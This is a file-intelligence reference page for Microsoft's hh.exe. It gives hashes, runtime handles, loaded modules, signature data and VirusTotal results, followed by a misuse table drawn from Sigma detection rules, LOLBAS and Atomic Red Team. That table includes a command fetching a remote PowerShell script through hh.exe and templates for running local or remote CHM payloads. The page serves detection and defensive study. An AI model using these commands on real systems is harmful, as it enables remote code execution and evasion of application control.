hh.exe
- File Path:
C:\Windows\hh.exe - Description: Microsoft HTML Help Executable
Screenshot
Hashes
| Type | Hash |
|---|---|
| MD5 | 1CECEE8D02A8E9B19D3A1A65C7A2B249 |
| SHA1 | 4B1E2F8EFBECB677080DBB26876311D9E06C5020 |
| SHA256 | 8AB2F9A4CA87575F03F554AEED6C5E0D7692FA9B5D420008A1521F7F7BD2D0A5 |
| SHA384 | F4692DE1F5DDDAAAFAACF80D65B3CA91E37711EE1D358C2F4E29A57F650679C50B444B9BA5FAA8B279C42BD65AADB6A5 |
| SHA512 | B72A87C998BFF58C72241072BCDC682CDFC2154EF054F5F95B1CE87BDA44D9E9B16D1E43F708FBDB6BF37D73F8E7789D5226BCFFB96467383A14700E6C0600D0 |
| SSDEEP | 192:NZ4u99dac1vr3rS3N0MwfafE06YU/Shm5GJ1KDJD/4Wcg:NZ46Mc5vSCaE0TKI1KDWWcg |
| IMP | D3D9C3E81A404E7F5C5302429636F04C |
| PESHA1 | DED222F89C89A23515854047634519A5E61E3F2B |
| PE256 | 724A77AFB0A6C7F89D13CCC4AE1CBFC06D7D666A7A658A20782978BF871592E4 |
Runtime Data
Window Title:
HTML Help
Open Handles:
| Path | Type |
|---|---|
| (R–) C:\Users\ADMINI~1\AppData\Local\Temp\2~DF95187317C557A3BD.TMP | File |
| (R-D) C:\Windows\en-US\hh.exe.mui | File |
| (R-D) C:\Windows\System32\en-US\hhctrl.ocx.mui | File |
| (R-D) C:\Windows\System32\en-US\ieframe.dll.mui | File |
| (R-D) C:\Windows\System32\en-US\mshtml.dll.mui | File |
| (R-D) C:\Windows\System32\en-US\urlmon.dll.mui | File |
| (R-D) C:\Windows\System32\en-US\user32.dll.mui | File |
| (R-D) C:\Windows\System32\ieframe.dll | File |
| (RW-) C:\Users\user | File |
| (RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.1518_none_6d08fefc59f73326 | File |
| (RW-) C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.1518_none_de6e2bd0534e2567 | File |
| (RWD) C:\Users\ADMINI~1\AppData\Local\Temp\2~DF36F096167D6F98FD.TMP | File |
| \BaseNamedObjects__ComCatalogCache__ | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000004.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000004.db | Section |
| \BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro | Section |
| \BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 | Section |
| \BaseNamedObjects\NLS_CodePage_437_3_2_0_0 | Section |
| \BaseNamedObjects\windows_shell_global_counters | Section |
| \RPC Control\DSECFE0 | Section |
| \Sessions\2\BaseNamedObjects\fe0HWNDInterface:70a3a | Section |
| \Sessions\2\BaseNamedObjects\UrlZonesSM_Administrator | Section |
| \Sessions\2\BaseNamedObjects\windows_ie_global_counters | Section |
| \Sessions\2\BaseNamedObjects\windows_shell_global_counters | Section |
| \Sessions\2\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-4075667164-670084373-454571106-500 | Section |
| \Sessions\2\Windows\Theme2131664586 | Section |
| \Windows\Theme966197582 | Section |
Loaded Modules:
| Path |
|---|
| C:\Windows\hh.exe |
| C:\Windows\System32\ADVAPI32.dll |
| C:\Windows\System32\bcrypt.dll |
| C:\Windows\System32\bcryptPrimitives.dll |
| C:\Windows\System32\cfgmgr32.dll |
| C:\Windows\System32\clbcatq.dll |
| C:\Windows\System32\combase.dll |
| C:\Windows\System32\coml2.dll |
| C:\Windows\System32\CRYPT32.dll |
| C:\Windows\SYSTEM32\CRYPTBASE.DLL |
| C:\Windows\System32\cryptsp.dll |
| C:\Windows\system32\d3d11.dll |
| C:\Windows\system32\dataexchange.dll |
| C:\Windows\system32\dcomp.dll |
| C:\Windows\system32\dwmapi.dll |
| C:\Windows\system32\dxgi.dll |
| C:\Windows\System32\GDI32.dll |
| C:\Windows\System32\gdi32full.dll |
| C:\Windows\System32\hhctrl.ocx |
| C:\Windows\System32\ieframe.dll |
| C:\Windows\System32\iertutil.dll |
| C:\Windows\System32\IMM32.DLL |
| C:\Windows\System32\kernel.appcore.dll |
| C:\Windows\System32\KERNEL32.DLL |
| C:\Windows\System32\KERNELBASE.dll |
| C:\Windows\System32\MSASN1.dll |
| C:\Windows\System32\MSCTF.dll |
| C:\Windows\SYSTEM32\MSHTML.dll |
| C:\Windows\SYSTEM32\msIso.dll |
| C:\Windows\System32\msvcp_win.dll |
| C:\Windows\System32\msvcrt.dll |
| C:\Windows\System32\NETAPI32.dll |
| C:\Windows\System32\NETUTILS.DLL |
| C:\Windows\SYSTEM32\ntdll.dll |
| C:\Windows\System32\ole32.dll |
| C:\Windows\System32\OLEAUT32.dll |
| C:\Windows\System32\powrprof.dll |
| C:\Windows\System32\profapi.dll |
| C:\Windows\system32\propsys.dll |
| C:\Windows\system32\RMCLIENT.dll |
| C:\Windows\System32\RPCRT4.dll |
| C:\Windows\System32\sechost.dll |
| C:\Windows\System32\shcore.dll |
| C:\Windows\System32\SHELL32.dll |
| C:\Windows\System32\shlwapi.dll |
| C:\Windows\SYSTEM32\SspiCli.dll |
| C:\Windows\SYSTEM32\sxs.dll |
| C:\Windows\system32\twinapi.appcore.dll |
| C:\Windows\System32\ucrtbase.dll |
| C:\Windows\SYSTEM32\urlmon.dll |
| C:\Windows\System32\USER32.dll |
| C:\Windows\System32\USERENV.dll |
| C:\Windows\system32\uxtheme.dll |
| C:\Windows\System32\VERSION.dll |
| C:\Windows\System32\win32u.dll |
| C:\Windows\System32\windows.storage.dll |
| C:\Windows\SYSTEM32\WindowsCodecs.dll |
| C:\Windows\System32\WINHTTP.dll |
| C:\Windows\System32\WKSCLI.DLL |
| C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.1518_none_6d08fefc59f73326\COMCTL32.dll |
| C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.1518_none_de6e2bd0534e2567\comctl32.dll |
Signature
- Status: Signature verified.
- Serial:
3300000266BD1580EFA75CD6D3000000000266 - Thumbprint:
A4341B9FD50FB9964283220A36A1EF6F6FAA7840 - Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
File Metadata
- Original Filename: HH.exe.mui
- Product Name: HTML Help
- Company Name: Microsoft Corporation
- File Version: 10.0.17763.1 (WinBuild.160101.0800)
- Product Version: 10.0.17763.1
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 64-bit
File Scan
- VirusTotal Detections: 0/70
- VirusTotal Link: https://www.virustotal.com/gui/file/8ab2f9a4ca87575f03f554aeed6c5e0d7692fa9b5d420008a1521f7f7bd2d0a5/detection/
File Similarity (ssdeep match)
Possible Misuse
The following table contains possible examples of hh.exe being misused. While hh.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | godmode_sigma_rule.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | sysmon_suspicious_remote_thread.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_hh_chm.yml | title: HH.exe Execution |
DRL 1.0 |
| sigma | proc_creation_win_hh_chm.yml | description: Identifies usage of hh.exe executing recently modified .chm files. |
DRL 1.0 |
| sigma | proc_creation_win_hh_chm.yml | Image\|endswith: '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_html_help_spawn.yml | ParentImage: 'C:\Windows\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_office_shell.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_outlook_shell.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_shell_spawn_by_java.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_shell_spawn_by_java_keytool.yml | - '\hh.exe' |
DRL 1.0 |
| sigma | proc_creation_win_susp_system_user_anomaly.yml | - '\hh.exe' |
DRL 1.0 |
| LOLBAS | Hh.yml | Name: Hh.exe |
|
| LOLBAS | Hh.yml | - Command: HH.exe http://some.url/script.ps1 |
|
| LOLBAS | Hh.yml | - Command: HH.exe c:\windows\system32\calc.exe |
|
| LOLBAS | Hh.yml | Usecase: Execute process with HH.exe |
|
| LOLBAS | Hh.yml | - Path: C:\Windows\System32\hh.exe |
|
| LOLBAS | Hh.yml | - Path: C:\Windows\SysWOW64\hh.exe |
|
| atomic-red-team | T1218.001.md | <blockquote>Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | A custom CHM file containing embedded payloads could be delivered to a victim then triggered by User Execution. CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)</blockquote> | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | Uses hh.exe to execute a local compiled HTML Help payload. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | hh.exe #{local_chm_file} | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | Uses hh.exe to execute a remote compiled HTML Help payload. | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | hh.exe #{remote_chm_file} | MIT License. © 2018 Red Canary |
| atomic-red-team | T1218.001.md | | hh_file_path | path of modified HH.exe | Path | $env:windir\hh.exe| | MIT License. © 2018 Red Canary |
MIT License. Copyright (c) 2020-2021 Strontic.